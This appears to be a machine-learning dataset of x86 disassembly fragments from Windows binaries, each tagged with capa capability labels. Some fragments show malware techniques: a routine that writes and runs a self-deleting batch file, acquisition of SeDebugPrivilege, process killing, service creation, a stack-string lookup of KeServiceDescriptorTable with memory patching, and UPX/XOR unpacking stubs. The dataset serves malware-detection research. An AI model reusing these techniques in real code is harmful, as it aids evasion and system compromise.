joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4066f7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x406706
pop dword [ebp - 0xc]
mov eax, 0x9d0bcf0a
add eax, 0x633497fc
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xa4d613e1
add dword [ebp - 0x1c], 0xa97c316a
mov dword [ebp - 0x18], 0xd6eb01e0
sub dword [ebp - 0x18], 0xa4b7b59b
mov dword [ebp - 0x14], 0x593f0801
add dword [ebp - 0x14], 0xf30d3c2d
mov dword [ebp - 0x10], 0x7d33e4ff
sub dword [ebp - 0x10], 0x7d33e4ff
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x6322a5c9
add dword [ebp - 0x1c], 0x114fc38d
mov dword [ebp - 0x18], 0xbaee739e
add dword [ebp - 0x18], 0x867dedd7
mov dword [ebp - 0x14], 0x80dbf5a8
add dword [ebp - 0x14], 0xe29376c4
mov dword [ebp - 0x10], 0x66341d39
sub dword [ebp - 0x10], 0x66341d39
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x7b6c4a0d
add eax, 0x84d43603
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x32233
push 0
call eax
mov ecx, 0x7e586307
add ecx, 0x81a7d1ae
mov edi, eax
mov ebx, 0x40ec00
add ebx, dword [ebp - 0xc]
mov edx, 0xd0a541b
add edx, 0xddbf5bef
xor dword [ebp - 4], 0x814073d5
mov esi, dword [ebx]
sub dword [ebp - 8], ecx
sub esi, edx
xor dword [ebp - 4], 0x2b37c72b
mov dword [edi], esi
xor dword [ebp - 4], 0x26315b05
add edi, 0x1924de53
add edi, 0xe6db21b1
add ebx, 0xe3289b3e
sub ebx, 0xe3289b3a
loop 0x40681d
add eax, 0x838c3b00
sub eax, 0x838b7559
mov ebx, eax
add eax, 0x6f8c2e19
add eax, 0x9073d1ec
mov ecx, 0x3f291d41
sub ecx, 0x3ee91d41
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x406b00
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c148]
jne 0x406b0a
repz ret
jmp fcn.0040704e
Function at 0x401000
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
xor ebx, ebx
push 2
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
or eax, eax
je 0x40104b
mov esi, eax
push 0
push 0
push 0
push 0
push 0
push dword [ebp + 0xc]
push 0
push 3
push 1
push 0
push dword [ebp + 8]
push dword [ebp + 8]
push esi
call sub.advapi32.dll_CreateServiceA
or eax, eax
je 0x401045
push eax
call sub.advapi32.dll_CloseServiceHandle
inc ebx
push esi
call sub.advapi32.dll_CloseServiceHandle
mov eax, ebx
pop ebx
pop edi
pop esi
leave
ret 8
Function at 0x4016e5
Capabilities:
Contain obfuscated stackstrings
Get file size
Get system information on windows
Make suspicious ntquerysysteminformation call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push esi
push edi
push ebx
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0xb
call sub.ntdll.dll_NtQuerySystemInformation
cmp eax, 0xc0000004
jne fcn.0040183b
xor eax, eax
push dword [ebp - 4]
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
mov esi, eax
or esi, esi
je fcn.0040183b
push 0
push dword [ebp - 4]
push esi
push 0xb
call sub.ntdll.dll_NtQuerySystemInformation
or eax, eax
je 0x401736
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
xor ecx, ecx
mov ecx, dword [esi + 0xc]
mov dword [ebp - 0xc], ecx
xor edx, edx
mov dx, word [esi + 0x1e]
lea eax, [edx + esi + 0x20]
push 1
push 0
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov dword [ebp - 0x10], eax
push esi
call sub.KERNEL32.DLL_GlobalFree
mov dword [ebp - 0x30], 0x6553654b
mov dword [ebp - 0x2c], 0x63697672
mov dword [ebp - 0x28], 0x73654465
mov dword [ebp - 0x24], 0x70697263
mov dword [ebp - 0x20], 0x54726f74
mov dword [ebp - 0x1c], 0x656c6261
mov dword [ebp - 0x18], 0
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x10]
call sub.KERNEL32.DLL_GetProcAddress
mov esi, eax
or esi, esi
jne 0x4017a5
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
mov ecx, esi
sub ecx, dword [ebp - 0x10]
add ecx, 0x400000
mov dword [ebp - 0x14], ecx
call sub.KERNEL32.DLL_GetCurrentProcessId
mov dword [ebp - 8], eax
mov esi, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push 4
push 0x400000
push dword [ebp - 0x10]
push 0xffffffffffffffff
call sub.KERNEL32.DLL_VirtualProtectEx
xor ebx, ebx
xor eax, eax
jmp 0x4017fe
cmp byte [ebx + esi], 0xc7
jne 0x4017fd
cmp byte [ebx + esi + 1], 5
jne 0x4017fd
mov edx, dword [ebp - 0x14]
cmp dword [ebx + esi + 2], edx
jne 0x4017fd
mov eax, dword [ebx + esi + 6]
sub eax, 0x400000
add eax, dword [ebp - 0x10]
jmp 0x401806
inc ebx
cmp ebx, 0x400000
jb 0x4017d9
or eax, eax
jne 0x401811
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret
xor ecx, ecx
jmp 0x40182b
xor ebx, ebx
mov ebx, dword [eax + ecx*4]
sub ebx, 0x400000
add ebx, dword [ebp - 0xc]
mov dword [ecx*4 + 0x406830], ebx
inc ecx
cmp ecx, 0x168
jb 0x401815
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x40183b
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 4], 0
push 0
push 0x80
push 3
push 0
push 3
push 0x80000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call sub.KERNEL32.DLL_GetFileSize
mov dword [ebp - 4], eax
inc eax
push eax
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
mov edi, eax
push 0
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push edi
push esi
call sub.KERNEL32.DLL_ReadFile
cmp byte [edi], 0x4d
jne 0x401908
cmp byte [edi + 1], 0x5a
jne 0x401908
xor esi, esi
jmp 0x401903
mov al, byte [esi + edi]
mov bl, byte [esi + edi + 1]
mov cl, byte [esi + edi + 2]
cmp al, 0xc7
jne 0x401902
cmp bl, 0x46
jne 0x4018cf
cmp cl, 0x70
jne 0x4018bf
mov eax, dword [esi + edi + 3]
mov dword [0x40681c], eax
jmp 0x401902
cmp cl, 0x74
jne 0x401902
mov eax, dword [esi + edi + 3]
mov dword [0x406820], eax
jmp 0x401902
cmp bl, 0x86
jne 0x401902
cmp cl, 0x90
jne 0x4018e4
mov eax, dword [esi + edi + 6]
mov dword [0x406824], eax
jmp 0x401902
cmp cl, 0x94
jne 0x4018f4
mov eax, dword [esi + edi + 6]
mov dword [0x406828], eax
jmp 0x401902
cmp cl, 0xa4
jne 0x401902
mov eax, dword [esi + edi + 6]
mov dword [0x40682c], eax
inc esi
cmp esi, dword [ebp - 4]
jb 0x40189b
push edi
call sub.KERNEL32.DLL_GlobalFree
xor eax, eax
inc eax
leave
ret 4

Function at 0x401965
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
and dword [ebp - 4], 0
cmp dword [ebp + 0xc], 0
jle 0x4019cd
mov edx, dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x18]
mov cl, byte [edx]
inc cl
movzx ecx, cl
mov dword [edx], ecx
mov ebx, dword [eax + ecx*4]
mov cl, byte [edi]
add cl, bl
mov dword [ebp + 0x18], ebx
movzx ecx, cl
mov dword [edi], ecx
mov esi, dword [edx]
mov ecx, dword [eax + ecx*4]
mov dword [eax + esi*4], ecx
add cl, byte [ebp + 0x18]
mov esi, dword [edi]
movzx ecx, cl
mov dword [eax + esi*4], ebx
mov esi, dword [ebp + 8]
mov ebx, dword [ebp - 4]
mov cl, byte [eax + ecx*4]
add esi, ebx
xor byte [esi], cl
inc dword [ebp - 4]
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jl 0x401987
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401a7b
Capabilities:
Check os version
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push esi
push edi
push ebx
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
call fcn.004019cf
lea edi, [0x404004]
cmp byte [edi], 0x4d
jne 0x401c0f
cmp byte [edi + 1], 0x5a
jne 0x401c0f
xor ecx, ecx
jmp 0x401c03
cmp byte [ecx + edi], 0x48
jne 0x401aec
cmp byte [ecx + edi + 2], 0x68
jne 0x401aec
cmp byte [ecx + edi + 0x10], 0x4a
jne 0x401aec
cmp byte [ecx + edi + 0x12], 0x6a
jne 0x401aec
xor edx, edx
xor ebx, ebx
mov edx, edi
add edx, ecx
mov esi, dword [ebp + 8]
add esi, 3
xor ebx, ebx
jmp 0x401ae7
mov al, byte [ebx + esi]
mov byte [edx], al
add edx, 2
inc ebx
cmp ebx, 0x10
jb 0x401ade
cmp byte [ecx + edi], 0xb7
jne 0x401c02
cmp byte [ecx + edi + 1], 0xef
jne 0x401c02
cmp byte [ecx + edi + 2], 0x8d
jne 0x401c02
cmp byte [ecx + edi + 3], 0x81
jne 0x401c02
cmp dword [0x40681c], 0
je 0x401b70
cmp dword [0x406820], 0
je 0x401b70
cmp dword [0x406824], 0
je 0x401b70
cmp dword [0x406828], 0
je 0x401b70
cmp dword [0x40682c], 0
je 0x401b70
mov eax, dword [0x40681c]
mov dword [ecx + edi], eax
mov eax, dword [0x406820]
mov dword [ecx + edi + 4], eax
mov eax, dword [0x406824]
mov dword [ecx + edi + 8], eax
mov eax, dword [0x406828]
mov dword [ecx + edi + 0xc], eax
mov eax, dword [0x40682c]
mov dword [ecx + edi + 0x10], eax
push ecx
mov eax, dword fs:[0x18]
mov ecx, dword [eax + 0x30]
mov eax, dword [ecx + 0xb0]
mov eax, dword [ecx + 0xa8]
xor ebx, ebx
mov ebx, dword [ecx + 0xa4]
cmp ebx, 5
jne 0x401bc3
or eax, eax
jne 0x401ba3
mov dword [0x406dd0], 0xf7
jmp 0x401bc3
cmp eax, 1
jne 0x401bb4
mov dword [0x406dd0], 0x116
jmp 0x401bc3
cmp eax, 2
jne 0x401bc3
mov dword [0x406dd0], 0x120
pop ecx
lea esi, [0x406830]
or esi, esi
je 0x401c02
cmp dword [0x406dd0], 0xffffffff
je 0x401c02
add ecx, 0x14
push ecx
xor edx, edx
jmp 0x401be9
mov eax, dword [esi + edx*4]
mov dword [ecx + edi], eax
add ecx, 4
inc edx
cmp edx, dword [0x406dd0]
jb 0x401bdf
pop ecx
add ecx, 0x5a0
mov eax, dword [0x406dd0]
mov dword [ecx + edi], eax
jmp 0x401c0f
inc ecx
cmp ecx, dword [0x405408]
jb 0x401ab1
lea edi, [0x404004]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [0x405408]
push edi
call sub.imagehlp.dll_CheckSumMappedFile
mov ebx, dword [ebp - 0x1c]
mov dword [0x404124], ebx
push 0
push 0
push 2
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
cmp esi, 0xffffffff
je fcn.00401c73
push 0
lea eax, [ebp - 0x20]
push eax
push dword [0x405408]
push edi
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
xor eax, eax
inc eax
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x401c82
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
mov dword [ebp - 0x14], 0x6d6c6564
nop
mov dword [ebp - 0x10], 0x61622e65
mov dword [ebp - 0xc], 0x74
mov dword [ebp - 8], 0
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
mov dword [ebp - 4], esi
or esi, esi
je 0x401d87
push 0x200
push pe_nt_image_headers32
call sub.KERNEL32.DLL_GlobalAlloc
mov edi, eax
or edi, edi
je 0x401d87
mov dword [edi], 0x7972743a
nop
mov dword [edi + 4], 0x65640a0d
mov dword [edi + 8], 0x22206c
push dword [ebp + 8]
push edi
call sub.KERNEL32.DLL_lstrcatA
mov ecx, dword [ebp + 0xc]
mov dword [ecx + edi + 0xb], 0x690a0d22
mov dword [ecx + edi + 0xf], 0x78652066
mov dword [ecx + edi + 0x13], 0x20747369
nop
mov dword [ecx + edi + 0x17], 0x22
push dword [ebp + 8]
push edi
call sub.KERNEL32.DLL_lstrcatA
mov ecx, dword [ebp + 0xc]
add ecx, ecx
mov dword [ecx + edi + 0x18], 0x6f672022
mov dword [ecx + edi + 0x1c], 0x74206f74
mov dword [ecx + edi + 0x20], 0xa0d7972
nop
mov dword [ecx + edi + 0x24], 0x206c6564
mov dword [ecx + edi + 0x28], 0x3025
push edi
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x18]
push edi
push dword [ebp - 4]
call sub.KERNEL32.DLL_WriteFile
push dword [ebp - 4]
call sub.KERNEL32.DLL_CloseHandle
push 0
lea eax, [ebp - 0x14]
push eax
call sub.KERNEL32.DLL_WinExec
leave
ret 8

Function at 0x401d8b
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret

Function at 0x401e2b
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdcc
push esi
push edi
push ebx
push dword [ebp + 8]
call fcn.00401e07
push dword [ebp + 8]
call sub.KERNEL32.DLL_lstrlenA
mov dword [ebp - 0x130], eax
lea edi, [ebp - 0x128]
push 0
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
mov dword [edi], 0x128
mov dword [ebp - 0x12c], 0
or esi, esi
je 0x401ee2
push edi
push esi
call sub.KERNEL32.DLL_Process32First
mov ecx, eax
jmp 0x401ede
mov eax, dword [edi + 8]
mov dword [ebp - 0x12c], eax
lea ebx, [edi + 0x24]
mov byte [ebp - 0x234], 0
lea edx, [ebp - 0x234]
push ebx
push edx
call sub.KERNEL32.DLL_lstrcpyA
lea edx, [ebp - 0x234]
push edx
call fcn.00401e07
lea edx, [ebp - 0x234]
push edx
call sub.KERNEL32.DLL_lstrlenA
cmp eax, dword [ebp - 0x130]
jne 0x401ed3
push esi
push edi
lea esi, [ebp - 0x234]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp - 0x130]
cmpsd dword [esi], dword es:[edi]
pop edi
pop esi
je 0x401eeb
xor eax, eax
push edi
push esi
call sub.KERNEL32.DLL_Process32Next
mov ecx, eax
or ecx, ecx
jne 0x401e7d
xor eax, eax
pop ebx
pop edi
pop esi
leave
ret 4
mov eax, dword [ebp - 0x12c]
pop ebx
pop edi
pop esi
leave
ret 4

Function at 0x401ef8
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 1
push pe_nt_image_headers32
call sub.KERNEL32.DLL_OpenProcess
mov esi, eax
push 0
push esi
call sub.KERNEL32.DLL_TerminateProcess
pop esi
leave
ret 4
Function at 0x401f17
Capabilities:
Enumerate threads

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe0
push esi
push edi
push ebx
lea edi, [ebp - 0x20]
push dword [ebp + 8]
push 4
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
mov esi, eax
or esi, esi
je 0x401f88
mov dword [edi], 0x1c
push edi
push esi
call sub.KERNEL32.DLL_Thread32First
mov ecx, eax
jmp 0x401f84
mov eax, dword [ebp + 8]
cmp dword [edi + 0xc], eax
jne 0x401f7b
mov dword [ebp - 4], 0
mov eax, dword [edi + 8]
push eax
call fcn.00401db7
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x401f7b
push 0
push dword [ebp - 4]
call fcn.00401d9d
or eax, eax
jne 0x401f7b
push dword [ebp - 4]
call fcn.00401daa
push edi
push esi
call sub.KERNEL32.DLL_Thread32Next
mov ecx, eax
or ecx, ecx
jne 0x401f44
pop ebx
pop edi
pop esi
leave
ret 4
Function at 0x402627
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
lea eax, [esp]
push eax
push 0x20
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x402678
lea ecx, [esp + 8]
push ecx
lea eax, str.SeDebugPrivilege
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov eax, dword [esp]
push 0
push 0
lea edx, [esp + 0xc]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call sub.advapi32.dll_AdjustTokenPrivileges
xor eax, eax
add esp, 0x14
ret
Function at 0x73377dc0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x73377ded
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x73377ded
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x73399810
Capabilities:
Packed with generic packer
Resolve function by parsing pe exports

Disassembly:
jmp 0x7339982e
cmp byte [esp + 8], 1
jne 0x7339d23f
jmp 0x7339985f
pushal
mov esi, section..text
jmp 0x73399897
lea edi, [esi - 0x53000]
lea eax, [edi + 0x6d46c]
push dword [eax]
jmp 0x733998d7
mov dword [eax], 0x72dcb047
push eax
push edi
jmp 0x73399909
jmp 0x7339c3ec
push eax
push esi
push edi
mov eax, 0x25802
add eax, 2
push eax
push esi
call fcn.7339c226
add esp, 8
pop edi
pop esi
push esi
push edi
mov edi, esi
mov esi, dword [eax + 4]
mov ecx, dword [eax]
rep movsb byte es:[edi], byte [esi]
mov edx, dword [eax]
sub edx, 2
pop edi
pop esi
pop eax
mov ebp, esp
lea ebx, [esp - 0x3e80]
xor eax, eax
push eax
cmp esp, ebx
jne 0x7339c421
jmp 0x7339c470
inc esi
inc esi
push ebx
push 0x77108
push edi
add ebx, 4
jmp 0x7339c4d2
push ebx
push edx
push esi
add ebx, 4
push ebx
push eax
mov dword [ebx], 0x20003
jmp fcn.7339c536
jmp loc.73354f77
Function at 0x7339ac95
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x64
mov dword [ebp - 0x24], 0xa
mov dword [ebp - 0x20], 0xc
mov dword [ebp - 0x1c], 0xe
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x2c], 6
mov dword [ebp - 0x28], 8
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + eax*4 - 0x30]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x10]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0x1000000
mov dword [ebp - 0x54], 0x2000000
mov dword [ebp - 0x50], 0x4000000
mov dword [ebp - 0x4c], 0x8000000
mov dword [ebp - 0x48], 0x10000000
mov dword [ebp - 0x44], 0x20000000
mov dword [ebp - 0x40], 0x40000000
mov dword [ebp - 0x3c], 0x80000000
mov dword [ebp - 0x38], 0x1b000000
mov dword [ebp - 0x34], 0x36000000
mov dword [ebp - 8], 0
jmp 0x7339ada2
mov eax, dword [ebp - 8]
shl eax, 2
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
movzx eax, al
shl eax, 0x18
mov edx, eax
mov eax, dword [ebp - 8]
shl eax, 2
lea ecx, [eax + 1]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
movzx eax, al
shl eax, 0x10
or edx, eax
mov eax, dword [ebp - 8]
shl eax, 2
lea ecx, [eax + 2]
mov eax, dword [ebp + 8]
add eax, ecx
mov al, byte [eax]
movzx eax, al
shl eax, 8
mov ecx, edx
or ecx, eax
mov eax, dword [ebp - 8]
shl eax, 2
lea edx, [eax + 3]
mov eax, dword [ebp + 8]
add eax, edx
mov al, byte [eax]
movzx edx, al
mov eax, dword [ebp - 8]
lea ebx, [eax*4]
mov eax, dword [ebp + 0xc]
add eax, ebx
or edx, ecx
mov dword [eax], edx
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
jl 0x7339ad30
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
jmp 0x7339ae57
mov eax, dword [ebp - 0xc]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp + 0xc]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
cdq
idiv dword [ebp - 0x14]
mov eax, edx
test eax, eax
jne 0x7339ae02
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.7339990e
mov dword [esp], eax
call fcn.7339a848
mov ecx, eax
mov eax, dword [ebp - 0xc]
cdq
idiv dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x5c]
xor eax, ecx
mov dword [ebp - 0x10], eax
jmp 0x7339ae2c
cmp dword [ebp - 0x14], 8
sete cl
mov eax, dword [ebp - 0xc]
cdq
idiv dword [ebp - 0x14]
mov eax, edx
cmp eax, 4
sete al
and eax, ecx
test al, al
je 0x7339ae2c
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call fcn.7339a848
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 0x14]
lea edx, [eax*4]
mov eax, dword [ebp + 0xc]
add eax, edx
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
lea ecx, [edx*4]
mov edx, dword [ebp + 0xc]
add edx, ecx
xor eax, dword [ebp - 0x10]
mov dword [edx], eax
inc dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
inc eax
shl eax, 2
cmp dword [ebp - 0xc], eax
jl 0x7339adb5
nop
nop
mov ebx, dword [ebp - 4]
leave
ret
Function at 0x91c360
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x347000]
push edi
jmp 0x91c37a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x91c381
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x91c370
mov eax, 1
add ebx, ebx
jne 0x91c393
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x91c3a4
jne 0x91c3c3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x91c3c3
dec eax
add ebx, ebx
jne 0x91c3b0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x91c388
add ebx, ebx
jne 0x91c3bf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x91c415
xor ecx, ecx
sub eax, 3
jb 0x91c3db
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x91c44a
sar eax, 1
mov ebp, eax
jmp 0x91c3e6
add ebx, ebx
jne 0x91c3e6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x91c3b4
inc ecx
add ebx, ebx
jne 0x91c3f4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x91c3b4
add ebx, ebx
jne 0x91c401
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x91c3f6
jne 0x91c412
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x91c3f6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x91c434
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x91c426
jmp 0x91c376
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x91c434
add edi, ecx
jmp 0x91c376
pop esi
mov edi, esi
mov ecx, 0xf52c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x91c452
cmp byte [edi], 0x2a
jne 0x91c452
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x91c457
lea edi, [esi + 0x508000]
mov eax, dword [edi]
or eax, eax
je 0x91c4cf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5275f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x527744]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x91c484
mov ecx, edi
jns 0x91c4b3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x527748]
or eax, eax
je 0x91c4c9
mov dword [ebx], eax
add ebx, 4
jmp 0x91c4a1
call dword [esi + 0x527758]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x91c500
cmp al, 0xef
ja 0x91c4f3
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x91c4d5
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x91c4e2
mov ebp, dword [esi + 0x52774c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x91c534
sub esp, 0xffffff80
jmp 0x4a9f4d
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..rsrc
nop
nop
mov ebx, 0x40c7d0
mov ecx, 0x4da26d22
nop
test eax, eax
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
nop
mov ecx, 0x781d6a2c
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x432084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219